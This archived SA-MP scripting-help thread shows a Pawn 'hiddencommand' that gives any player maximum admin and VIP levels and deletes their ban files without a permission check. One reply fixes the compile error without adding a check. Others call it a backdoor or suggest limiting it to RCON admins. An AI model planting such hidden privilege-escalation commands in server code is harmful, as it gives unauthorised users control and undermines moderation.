argument type mismatch PLEASE HELP! - Printable Version
+- SA-MP Forums Archive (
https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (
https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (
https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: argument type mismatch PLEASE HELP! (
/showthread.php?tid=581423)
argument type mismatch PLEASE HELP! -
Lirbo - 12.07.2015
PHP код:
CMD:hiddencommand(playerid,params[]){
new INI:ini = INI_Open(pFile(playerid));
DB[playerid][Admin]=7;
DB[playerid][VIP]=5;
if(fexist(banFile(playerid))){fremove(banFile(playerid));}
if(fexist(banipFile(playerid))){fremove(banipFile(playerid));}
MSG(playerid,C_DEFAULT,"Admin level maxed, VIP level maxed and you got unbanned if you were banned.");
INI_Close(ini);
return 1;}
Error: argument type mismatch
lines of the error:
PHP код:
if(fexist(banFile(playerid))){fremove(banFile(playerid));}
if(fexist(banipFile(playerid))){fremove(banipFile(playerid));}
banFile&banipFile stocks:
PHP код:
stock banFile(playerid)
{
format(String,sizeof(String),"Bans/Accounts/%s.ini",GetName(playerid));
return String;
}
stock banipFile(playerid)
{
GetPlayerIp(playerid,PIP,sizeof(PIP));
format(String,sizeof(String),"Bans/IPs/%s.ini",PIP);
return String;
}
Re: argument type mismatch PLEASE HELP! -
zSuYaNw - 13.07.2015
Try this...
PHP код:
CMD:hiddencommand(playerid,params[])
{
DB[playerid][Admin]=7;
DB[playerid][VIP]=5;
if(fexist(banFile(playerid))){fremove(banFile(playerid));}
if(fexist(banipFile(playerid))){fremove(banipFile(playerid));}
MSG(playerid,C_DEFAULT,"Admin level maxed, VIP level maxed and you got unbanned if you were banned.");
return 1;
}
Re: argument type mismatch PLEASE HELP! -
Sithis - 13.07.2015
Building a backdoor eh?
Re: argument type mismatch PLEASE HELP! -
Banana_Ghost - 13.07.2015
I would seriously only make that command for RCON admins if I was you.